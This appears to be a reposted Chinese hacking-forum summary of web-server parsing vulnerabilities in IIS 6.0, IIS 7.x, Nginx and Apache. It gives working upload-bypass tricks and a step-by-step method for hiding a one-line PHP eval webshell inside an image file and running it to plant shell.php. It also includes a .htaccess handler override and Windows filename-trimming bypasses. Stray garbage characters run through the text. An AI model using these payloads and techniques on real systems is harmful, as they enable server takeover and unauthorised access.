常见服务器解析漏洞总结

admin

Author : laterain
[+]IIS6.0
/ a0 t+ O* J8 o% h. P8 r1 `! g
( W+ q% u% b9 X$ ^, P目录解析：/xx.asp/xx.jpg
xx.jpg 可替换为任意文本文件(e.g. xx.txt)，文本内容为后门代码
) k, L1 D: Z) b# @$ \7 d0 a IIS6.0 会将 xx.jpg 解析为 asp 文件。
+ h* E) g6 s- \% `后缀解析：/xx.asp;.jpg     
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
默认解析：/xx.asa
         /xx.cer
2 u. K  K8 o* i; H& ?, U/ ^         /xx.cdx
IIS6.0 默认的可执行文件除了 asp 还包含这三种
8 a1 `$ Q3 Q1 h6 m+ X 此处可联系利用目录解析漏洞
0 ]# }- c; q5 x5 D3 }/ }/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
+ y# ~6 w0 c: X7 `
& K; P3 e% Y9 p9 H' s/ n+ ]" ~  f IIS 7.0/IIS 7.5/Nginx <0.8.03
( e" J( L# h/ Q 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
, {/ g! \; _' P/ B4 N8 O 常用利用方法：
将一张图和一个写入后门代码的文本文件合并将恶意文本
2 {/ j- p0 s+ C0 p: ~ 写入图片的二进制代码之后，避免破坏图片文件头和尾
如：
copy xx.jpg /b + yy.txt/a xy.jpg
#########################################################
+ u/ s7 V# I, C /b 即二进制[binary]模式
1 _# R3 p9 X5 Y, G /a 即ascii模式
xx.jpg 正常图片文件
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
'<?php eval($_POST[cmd])?>');?>
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
8 I+ b% r/ I* L+ c8 f* g 为shell.php的文件
6 y# R2 K+ a, Z( b! W; F' I ###########################################################
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址，在地址后加上 /xx.php
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
密码 cmd
; J$ g2 x8 B0 \+ U[+]Nginx <0.8.03
- J1 M$ t' ?# Z2 F3 L
& g3 X) k4 w1 u' P2 s 在Fast-CGI关闭的情况下，Nginx <0.8.03依然存在解析漏洞
在一个文件路径(/xx.jpg)后面加上%00.php
1 n+ A" e  f: p5 u8 r1 o 会将 /xx.jpg%00.php 解析为 php 文件。
[+]Apache<0.8.03
3 l8 j  c5 [8 M5 @: U
) C. K& K- E/ j( f/ @& ~ 后缀解析：test.php.x1.x2.x3
# Z. G( x0 D: H# `/ [3 T# E2 c Apache将从右至左开始判断后缀，若x3非可识别后缀，
( ^; o/ ?; B9 b6 t 再判断x2，直到找到可识别后缀为止，然后将该可识别
后缀进解析test.php.x1.x2.x3 则会被解析为php
2 H5 J$ v3 H0 B0 Q. S+ n3 V3 [+ ] 经验之谈：php|php3|phtml 多可被Apache解析。
6 S+ H' y# X6 G3 p8 s[+]其他一些可利用的

在windows环境下，xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
若这样命名，windows会默认除去空格或点，这也是可以被利用的！
在向一台windows主机上传数据时，你可以抓包修改文件名，在后面加个空格
或点，试图绕过黑名单，若上传成功，最后的点或空格都会被消除，这样就可
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
0 ~3 n) w' l5 r# L, g; ?  K{Linux主机中不行，Linux允许这类文件存在}
3 y% {0 \: K; s如果在Apache中.htaccess可被执行（默认不执行，这是90sec里的一位朋友说
的，当初我并不知道），且可以被上传，那可以尝试在
& A) c7 |; n7 ]. S/ p5 u  e.htaccess中写入:
<FilesMatch “shell.jpg”>
0 O- A. J# s$ {9 x5 d9 Z: T/ b  G3 {SetHandler application/x-httpd-php
+ H' ^% w* s9 k, J</FilesMatch>
8 E  m6 z6 a+ \: l- wshell.jpg换成你上传的文件，这样shell.jpg就可解析为php文件
[+]错误修改
* G7 _: X! G6 [/ d3 M: B9 g# a% X' H  C
6 [# a  d9 ^" o0 Q4 z$ W6 U# H在 IIS 6.0 下可解析 /xx.asp:.jpg
{/xx.asp:.jpg 此类文件在Windows下不允许存在，:.jpg被自动除去
0 \7 d7 y9 n+ A4 |7 ?3 {' q9 v7 o剩下/xx.asp}修改：
先谢谢核攻击的提醒
6 Y$ P" C! Q9 J( b) K当上传一个/xx.asp:.jpg文件时，的确:.jpg会消失，但是现在的/xx.asp
2 r! E# u! L: N) |3 E3 f$ t4 o里是没有任何内容的，因为。。不好解释 大家自己看
' J; q6 s$ O9 }: z& f4 y- o) Uhttp://lcx.cc/?i=2448
http://baike.baidu.com/view/3619593.htm
​